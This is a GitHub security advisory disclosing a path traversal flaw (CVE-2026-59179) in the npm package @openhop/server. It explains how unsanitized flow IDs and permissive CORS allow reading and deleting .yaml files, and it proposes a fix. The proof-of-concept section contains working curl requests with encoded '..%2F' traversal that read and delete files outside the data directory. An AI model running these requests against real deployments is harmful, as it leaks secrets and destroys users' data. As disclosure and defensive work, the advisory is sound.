GitHub Advisoryadvisory · npm
GHSA-g72f-jw3w-mgh7 @openhop/server: Path Traversal in Flow ID File Operations
HIGH
Official page ↗
- Aliases
- CVE-2026-59179
- Ecosystem
- npm
- Packages
- @openhop/server
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
- Weaknesses
- CWE-22
- Reviewed
- 2026-09-09
Affected packages
• npm @openhop/server: < 0.3.6 → fixed in 0.3.6
Description
Path Traversal in Flow ID File Operations
Summary
`@openhop/server` passes unsanitized HTTP route parameters directly to `path.join()` when constructing filesystem paths for flow YAML files. An unauthenticated attacker who can reach the server can read arbitrary `.yaml` files accessible to the OpenHop process outside the configured flow directory, and can delete arbitrary `.yaml` files at any path reachable by the process. Because CORS is set to `origin: true` (allow all origins), a victim's browser can be used to exploit the vulnerability against a loopback-bound instance. Docker deployments bind `HOST=0.0.0.0` by default, enabling direct remote exploitation. CVSS Base Score: 8.3 (High).
Details
`FlowStore.filePath()` in `packages/server/src/store.ts:52–53` constructs a filesystem path by concatenating the caller-supplied `id` directly into `path.join`:
```ts
// packages/server/src/store.ts:52-53
private filePath(id: string): string {
return join(this.dir, `${id}.yaml`)
}
```
This result is consumed by two sinks:
• Read (`packages/server/src/store.ts:78`): `readFile(this.filePath(id), 'utf-8')`
• Delete (`packages/server/src/store.ts:105`): `unlink(this.filePath(id))`
The `id` value originates from unauthenticated Fastify HTTP route parameters:
• `GET /api/flows/:id` (`packages/server/src/routes.ts:306`) → `store.get(id)` at line 333–335
• `DELETE /api/flows/:id` (`packages/server/src/routes.ts:509`) → `store.delete(id)` at line 539–541
The route parameter schema at `packages/server/src/routes.ts:315` and `519` declares only `type: 'string'` with no pattern constraint or allowlist. Fastify's underlying router (`find-my-way`) applies `decodeURIComponent` to route parameters, so the URL segment `..%2Fvictim` is decoded to `../victim` before it reaches application code. Node.js `path.join('/data/flows', '../victim.yaml')` then normalizes to `/data/victim.yaml`, escaping the configured data directory.
Additionally, `packages/server/src/index.ts:37` registers CORS with `origin: true`, permitting any browser origin to make cross-origin requests to the server. This makes the vulnerability exploitable via a malicious webpage against users running OpenHop locally.
Full data-flow (read path):
1. HTTP `GET /api/flows/..%2Fvictim` received (`routes.ts:306`)
2. `find-my-way` decodes `..%2Fvictim` → `req.params.id = '../victim'` (`routes.ts:333`)
3. `store.get('../victim')` → `filePath('../victim')` → `join('/data/flows', '../victim.yaml')` → `/data/victim.yaml` (`store.ts:52–53`)
4. `readFile('/data/victim.yaml', 'utf-8')` returns file contents (`store.ts:78`)
5. Server responds HTTP 200 with YAML-parsed JSON body
Full data-flow (delete path):
1. HTTP `DELETE /api/flows/..%2Fdelete-me` received (`routes.ts:509`)
2. `find-my-way` decodes `..%2Fdelete-me` → `req.params.id = '../delete-me'` (`routes.ts:539`)
3. `store.delete('../delete-me')` → `filePath('../delete-me')` → `join('/data/flows', '../delete-me.yaml')` → `/data/delete-me.yaml` (`store.ts:52–53`)
4. `unlink('/data/delete-me.yaml')` removes the file (`store.ts:105`)
5. Server responds HTTP 204
PoC
Environment setup (Docker):
```bash
Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
```
The container creates `/data/flows/` as the configured flow store (`OPENHOP_DATA_DIR=/data/flows`) and places `/data/victim.yaml` and `/data/delete-me.yaml` outside that directory as traversal targets.
Attack 1 — Read file outside flow store:
```bash
curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'
```
Expected response:
```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}
```
Attack 2 — Delete file outside flow store:
```bash
curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'
```
Expected response:
```http
HTTP/1.1 204 No Content
```
Verify deletion:
```bash
docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
Output: deleted
```
Automated PoC script:
```bash
python3 poc.py 127.0.0.1 8799
```
Recommended fix:
```diff
--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
private filePath(id: string): string {
+ if (!FLOW_ID_PATTERN.test(id)) {
+ throw new Error('Invalid flow id')
+ }
return join(this.dir, `${id}.yaml`)
}
```
Impact
This is a Path Traversal (CWE-22) vulnerability. The `.yaml` file extension restriction limits confidentiality impact to YAML-format files (C:L), but the delete path allows permanent destruction of any `.yaml` file the process can reach (I:H, A:H).
Affected parties:
• Users running `openhop serve` locally — exploitable via a malicious webpage due to `cors({ origin: true })` allowing all browser origins to make cross-origin requests to `localhost:8799`.
• Docker/server deployments — `HOST=0.0.0.0` is set by default in the official Docker environment, making all three routes directly reachable from the network without authentication.
An attacker can: (1) read the contents of any `.yaml` file accessible to the OpenHop process, potentially leaking application secrets, configuration data, or other YAML-serialized data; (2) permanently delete any `.yaml` file accessible to the process, causing data loss or disruption of services that depend on those files.
Reproduction artifacts
`Dockerfile`
```dockerfile
Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Build context: the repository root (naorsabag/openhop)
Usage:
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
Data layout inside the container:
/data/flows/ configured as OPENHOP_DATA_DIR (the "safe" directory)
/data/victim.yaml -> outside the store; represents a sensitive file that
MUST NOT be reachable via the API without sanitization
RUN mkdir -p /data/flows && \
printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n meta:\n title: SECRET_OUTSIDE_FILE\n description: This file live…
Related
Alias · CVE (1)
- CVE-2026-59179 OpenHop is a tool for creating interactive data-flow diagrams. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness